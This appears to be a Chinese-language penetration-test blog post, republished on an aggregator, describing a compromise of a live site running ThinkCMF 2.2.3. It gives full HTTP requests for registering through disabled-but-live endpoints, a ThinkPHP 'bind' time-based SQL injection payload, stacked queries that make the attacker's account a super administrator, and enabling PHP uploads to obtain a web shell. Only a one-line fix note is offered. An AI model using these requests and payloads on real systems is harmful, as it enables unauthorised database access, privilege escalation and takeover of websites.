[漏洞案例]thinkcmf 2.x從sql注入到getshell實戰


0X00 前言

這個案例是某項目的漏洞,涉及敏感的地方將會打碼。

很久沒更新博客了,放一篇上來除除草,新的一年會有所轉變,以后會有更多領域的研究。

下面是正文

 

0X01 正文

某廠商某個網站用的是thinkcmf 2.2.3。

 

thinkcmf 2.2.3系統是存在漏洞的,參考先知上喵嗚師傅寫的一篇文章(https://xz.aliyun.com/t/3529 )

 

文章中提到了三個漏洞,一個注入,兩個模板注入寫shell。

 

但是系統是部署在linux下面的,模板注入是不行的。

 

所以文章編輯處的sql注入漏洞是比較好的方法了。

 

但是這里的注入需要登陸。

 

雖然網站默認關閉了注冊,登陸等前端頁面展示。

 

但其實后端的邏輯是沒有關閉的。

 

所以我們只要抓到注冊,登陸的URL就可以注冊一個用戶,從而利用SQL注入漏洞了。

 

第一步:注冊用戶

因為注冊用戶需要用到驗證碼,請求驗證碼的URL為

http://xx.target.com/index.php?g=api&m=checkcode&a=index&length=2&font_size=14&width=100&height=34&charset=2345678&use_noise=0&use_curve=0

 

 

下面是注冊請求包,把驗證碼放到verify參數里面

POST /index.php?g=user&m=register&a=doregister HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

 

email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486

 

 

成功注冊了個用戶。

 

第二步:登陸

同樣登陸也需要驗證碼,同樣用上面請求的URL獲取一個驗證碼,填寫在verify參數里面

請求包如下:

第三步:注入

因為thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就不多解釋了,可以參考先知喵嗚寫的tp安全總結。

請求包如下:

POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 184

 

post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1) 

 

由於程序關閉了報錯,而且這里是update類型注入,所以這里只能用延時注入。

payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1) 

 

意思為猜測當前數據庫用戶的首位字符的ascii碼。

正常請求,返回時間為64。

 

當猜測ascii碼為116時,返回時間為417。

 

因為thinkphp 底層用的是pdo所寫,所以我們是可以執行多語句的。

 

通過一番延時注入猜測到表前綴為xxxx,表結構大多數不會變,所以我們只要猜測到表前綴即可,通過thinkcmf的源碼來注入了。

 

下面通過注入執行多語句從而將前台用戶r00tuse@email.com提升為后台管理員。

 

首先是注入,設置用戶的user_type。

payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';

 

 

 

這里還有一步是通過注入獲取r00tuser@email.com這個用戶的user_id。

payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1) 

 

用戶user_id為6。

 

接着是修改用戶角色為超級管理員。

payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);

第四步:登陸后台,修改上傳配置

用戶名:r00tuser@email.com 密碼:xxxxxxxxxx

打開鏈接:http://xx.target.com/index.php?g=admin&m=public&a=login

成功登陸:

 

 

修改上傳設置,添加上傳文件后綴php

http://xx.target.com/index.php?g=Admin&m=Setting&a=upload

 

 

最后一步,找一個可以上傳圖片的地方,直接把php文件上傳即可。

http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=

 

點擊圖片,直接選擇xx.php 即可。

 

請求包如下,只是打印Hello,World。

 

在返回包中獲取到php存放地址。

 

最后訪問鏈接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php

 

 

成功getshell。

 

修復建議:

     1):在底層think_filter方法添加bind過濾。具體為

 文件地址:simplewind\Core\Mode\Api\functions.php

 

0x02 說在最后

pdo讓很多注入到getshell成為了可能,從注入到getshell一套下來,整個感受就一個字,爽!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM